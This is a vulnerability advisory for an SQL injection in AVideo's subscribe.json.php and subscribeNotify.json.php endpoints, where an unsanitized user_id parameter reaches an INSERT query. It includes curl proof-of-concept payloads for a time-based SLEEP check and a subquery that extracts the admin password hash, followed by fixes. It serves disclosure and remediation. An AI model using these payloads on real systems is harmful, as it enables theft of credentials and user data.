AVideo is Vulnerable to SQL Injection through Subscribe Endpoint via Unsanitized user_id Parameter

Summary

The Subscribe::save() method in objects/subscribe.php concatenates the $this->users_id property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from $_POST['user_id'] in both subscribe.json.php and subscribeNotify.json.php. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts.

Details

The vulnerability exists because of a disconnect between where intval() is applied and where the value is used in SQL.

Entry points — objects/subscribe.json.php:40 and objects/subscribeNotify.json.php:23:

// subscribe.json.php line 40
$subscribe = new Subscribe(0, $_POST['email'], $_POST['user_id'], User::getId());

Constructor stores raw value — objects/subscribe.php:34:

public function __construct($id, $email = "", $user_id = "", $subscriber_users_id = "")
{
    // ...
    $this->users_id = $user_id;  // Raw $_POST['user_id'], no sanitization
    $this->subscriber_users_id = $subscriber_users_id;
    if (empty($this->id)) {
        $this->loadFromId($this->subscriber_users_id, $user_id, "");
    }
}

getSubscribeFromID sanitizes local copies only — objects/subscribe.php:137-139:

public static function getSubscribeFromID($subscriber_users_id, $user_id, $status = "a"){
    $subscriber_users_id = intval($subscriber_users_id);  // Local variable only
    $user_id = intval($user_id);  // Local variable only — $this->users_id is NOT affected

When getSubscribeFromID finds no matching subscription (the attacker simply targets a user_id they haven't subscribed to), loadFromId() returns false. The object's $this->id remains null, and $this->users_id retains the unsanitized injection payload.

Vulnerable sink — objects/subscribe.php:88:

public function save()
{
    if (!empty($this->id)) {
        // UPDATE path (not reached when $this->id is null)
    } else {
        $this->status = 'a';
        $sql = "INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) 
                VALUES ('{$this->users_id}', ...";  // Direct concatenation of injected value
    }
    $saved = sqlDAL::writeSql($sql);  // Called with NO $formats or $values

sqlDAL::writeSql provides no protection — objects/mysql_dal.php:102:

When called without $formats/$values parameters (as save() does), the eval_mysql_bind() function at line 636 returns true without binding any parameters. The already-concatenated SQL string is passed directly to $global['mysqli']->prepare() and execute(), executing the injection as the prepared statement itself.

PoC

Prerequisites: An authenticated session on the target AVideo instance.

Step 1: Confirm injection with time-based blind SQLi

# Pick a user_id that the current user has NOT subscribed to (e.g., 99999)
# The SLEEP(5) will cause a ~5 second delay confirming injection
curl -s -o /dev/null -w "%{time_total}" \
  -b 'PHPSESSID=VALID_SESSION_ID' \
  -d "user_id=99999'+AND+SLEEP(5)+AND+'1" \
  https://target/objects/subscribe.json.php
# Expected: ~5 second response time (vs <1 second normally)

Step 2: Extract admin password hash via INSERT subquery

# Inject a subquery that reads the admin password hash into the email column
curl -b 'PHPSESSID=VALID_SESSION_ID' \
  -d "user_id=99999',(SELECT+pass+FROM+users+WHERE+isAdmin=1+LIMIT+1),'a','1.1.1.1',now(),now(),'1');%23" \
  https://target/objects/subscribe.json.php

This closes the VALUES clause with attacker-controlled data and comments out the rest of the query. The admin password hash is inserted into the email column of the subscribes table, which can be read back via the subscription list API.

Step 3: Read exfiltrated data

The injected row is readable via any endpoint that queries the subscribes table and returns the email field (e.g., getAllSubscribes()).

The same attack works against objects/subscribeNotify.json.php via the same user_id parameter.

Impact

• Full database read access: An attacker with any authenticated account can extract arbitrary data from all database tables using INSERT subqueries, including:
  • User password hashes (users.pass)
  • Admin credentials
  • Encryption salts and API keys from configuration tables
  • Email addresses and personal data of all users
• Data integrity: The attacker can insert arbitrary rows into the subscribes table.
• Two affected endpoints: Both subscribe.json.php and subscribeNotify.json.php pass raw $_POST['user_id'] to the vulnerable code path.

Recommended Fix

Apply intval() to $this->users_id before use in the constructor, or better yet, use parameterized queries in save().

Option 1 — Sanitize in constructor (minimal fix):

// objects/subscribe.php, constructor (line 34)
- $this->users_id = $user_id;
+ $this->users_id = intval($user_id);

Option 2 — Use parameterized query in save() (recommended):

// objects/subscribe.php, save() method (lines 87-90)
public function save()
{
    global $global;
    if (!empty($this->id)) {
        $sql = "UPDATE subscribes SET status = ?, notify = ?, ip = ?, modified = now() WHERE id = ?";
        $saved = sqlDAL::writeSql($sql, "sssi", [$this->status, $this->notify, getRealIpAddr(), $this->id]);
    } else {
        $this->status = 'a';
        $sql = "INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) VALUES (?, ?, ?, ?, now(), now(), ?)";
        $saved = sqlDAL::writeSql($sql, "isssi", [intval($this->users_id), $this->email, $this->status, getRealIpAddr(), intval($this->subscriber_users_id)]);
    }

Option 2 is strongly recommended as it also fixes the unsanitized $this->email, $this->status, and getRealIpAddr() values in both the INSERT and UPDATE paths, preventing any future injection through those fields.